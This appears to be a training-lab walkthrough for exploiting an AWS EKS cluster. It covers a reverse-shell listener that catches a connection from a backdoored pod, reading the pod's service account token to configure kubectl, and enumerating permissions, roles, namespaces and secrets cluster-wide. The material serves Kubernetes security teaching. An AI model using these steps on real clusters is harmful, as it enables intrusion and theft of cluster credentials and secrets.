Exploiting AWS EKS Cluster

⚡ Preparing the attacker's terminal ⚡

Open new terminal in codespace and ssh into attacker's ec2 to get the reverse shell via backdoor and exploit the EKS.

• Change directory to /workspaces/ecr_eks_security_masterclass_public/eks/jenkins_cve.

cd /workspaces/ecr_eks_security_masterclass_public/eks/jenkins_cve

• Get the public IP of attacker's ec2 instance & ssh.

This is simulating as attacker, to perform reverse shell. Inside ec2 for reverse shell.

export ATTACKER_PUBLIC_IP=$(aws ec2 describe-instances --filters "Name=key-name,Values=peachycloudsecurity" "Name=instance-state-name,Values=running" --query 'Reservations[0].Instances[0].PublicIpAddress' --output text --region us-east-1)


ssh -i peachycloudsecurity.pem ec2-user@$ATTACKER_PUBLIC_IP

• Install pwncat-cs (alternative to netcat for reverse shell)

sudo yum install python3-pip -y # For CentOS/RHEL/Amazon Linux
sudo python3 -m pip install pwncat-cs

Get the Reverse Shell as Attacker

As we have pushed backdoor image, start the listener waiting for the connection from EKS pod.

Wait for 5 minutes to get reverse shell from EKS pod.

• Run the pwncat-cs to get the reverse shell.

Similar to netcat

pwncat-cs 0.0.0.0 1337

• Hit CTRL+D to get the pods' shell.

Run these commands within the pod, after getting the revere shell.

• Install kubectl, run the following commands based on the system's architecture.

echo "Installing kubectl..."
ARCH=$(uname -m)
case $ARCH in
    x86_64) BIN_ARCH="amd64" ;;
    aarch64) BIN_ARCH="arm64" ;;
    *) echo "Unsupported architecture: $ARCH"; exit 1 ;;
esac
curl -LO "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/$BIN_ARCH/kubectl"
install -o root -g root -m 0755 kubectl /usr/local/bin/kubectl
echo "kubectl installation complete."

Again run the pwncat-cs listener to get the reverse shell if exited.

• Set the Kubernetes configuration explicitly with the service account token, CA certificate, and API server URL.

# Set the correct KUBERNETES_SERVICE_HOST
export KUBERNETES_SERVICE_HOST=kubernetes.default.svc

# Get the service account token and CA certificate
export TOKEN=$(cat /run/secrets/kubernetes.io/serviceaccount/token)
export CACERT=/run/secrets/kubernetes.io/serviceaccount/ca.crt

# Set up the kubectl configuration to use the token
kubectl config set-cluster default-cluster --server=https://${KUBERNETES_SERVICE_HOST}:443 --certificate-authority=${CACERT}
kubectl config set-credentials default-admin --token=${TOKEN}
kubectl config set-context default-system --cluster=default-cluster --user=default-admin
kubectl config use-context default-system

To get cluster IP kubectl get svc -n default kubernetes.

Performing post-exploitation enumeration in the EKS Cluster.

• Check permissions using auth can-i

kubectl auth can-i --list

• Now run kubectl commands.

kubectl get pods

kubectl get pods -A 

• Get cluster roles & roles

kubectl get roles
kubectl get clusterroles

• Get namespaces of the cluster.

A namespace is a virtual cluster that helps divide and isolate resources (like pods, services, and deployments) within a physical cluster

kubectl get namespaces

• Get secrets to check if any secret is present or accessible.

kubectl get secrets -A

Credits

• Refer to cloud.hacktricks.xyz
• Join our attacking & defending kubernetes training.